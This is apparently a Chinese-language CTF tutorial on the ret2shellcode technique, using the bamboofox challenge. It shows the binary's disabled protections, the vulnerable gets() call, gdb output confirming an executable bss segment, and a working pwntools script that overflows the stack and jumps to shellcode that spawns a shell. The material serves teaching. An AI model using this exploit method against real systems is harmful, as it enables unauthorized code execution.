ret2shellcode

ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

例子

这里我们以 bamboofox 中的 ret2shellcode 为例

首先检测程序开启的保护

1
2
3
4
5
6
7
[*] '/home/seamiloak/Desktop/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。我们再使用 IDA 看一下程序

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}

可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。

1
2
.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
gdb-peda$ b main 
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gdb-peda$ r
Starting program: /home/seamiloak/Desktop/ret2shellcode

[----------------------------------registers-----------------------------------]
EAX: 0xf7fb4dd8 --> 0xffffd09c --> 0xffffd29b ("CLUTTER_IM_MODULE=xim")
EBX: 0x0
ECX: 0xfaa899a4
EDX: 0xffffd024 --> 0x0
ESI: 0xf7fb3000 --> 0x1d7d8c
EDI: 0x0
EBP: 0xffffcff8 --> 0x0
ESP: 0xffffcf70 --> 0x0
EIP: 0x8048536 (<main+9>: mov eax,ds:0x804a060)
EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804852e <main+1>: mov ebp,esp
0x8048530 <main+3>: and esp,0xfffffff0
0x8048533 <main+6>: add esp,0xffffff80
=> 0x8048536 <main+9>: mov eax,ds:0x804a060
0x804853b <main+14>: mov DWORD PTR [esp+0xc],0x0
0x8048543 <main+22>: mov DWORD PTR [esp+0x8],0x2
0x804854b <main+30>: mov DWORD PTR [esp+0x4],0x0
0x8048553 <main+38>: mov DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcf70 --> 0x0
0004| 0xffffcf74 --> 0x1
0008| 0xffffcf78 --> 0xf7ffd940 --> 0x0
0012| 0xffffcf7c --> 0xc2
0016| 0xffffcf80 --> 0x0
0020| 0xffffcf84 --> 0xc30000
0024| 0xffffcf88 --> 0x0
0028| 0xffffcf8c --> 0xf7ffd000 --> 0x26f34
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, main () at ret2shellcode.c:8
8 ret2shellcode.c: 没有那个文件或目录.
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /home/seamiloak/Desktop/ret2shellcode
0x08049000 0x0804a000 r-xp /home/seamiloak/Desktop/ret2shellcode
0x0804a000 0x0804b000 rwxp /home/seamiloak/Desktop/ret2shellcode
0xf7ddb000 0xf7fb0000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7fb0000 0xf7fb1000 ---p /lib/i386-linux-gnu/libc-2.27.so
0xf7fb1000 0xf7fb3000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7fb3000 0xf7fb4000 rwxp /lib/i386-linux-gnu/libc-2.27.so
0xf7fb4000 0xf7fb7000 rwxp mapped
0xf7fcf000 0xf7fd1000 rwxp mapped
0xf7fd1000 0xf7fd4000 r--p [vvar]
0xf7fd4000 0xf7fd6000 r-xp [vdso]
0xf7fd6000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp [stack]

通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限

1
0x0804a000 0x0804b000 rwxp	/home/seamiloak/Desktop/ret2shellcode

那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。

具体的 payload 如下

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()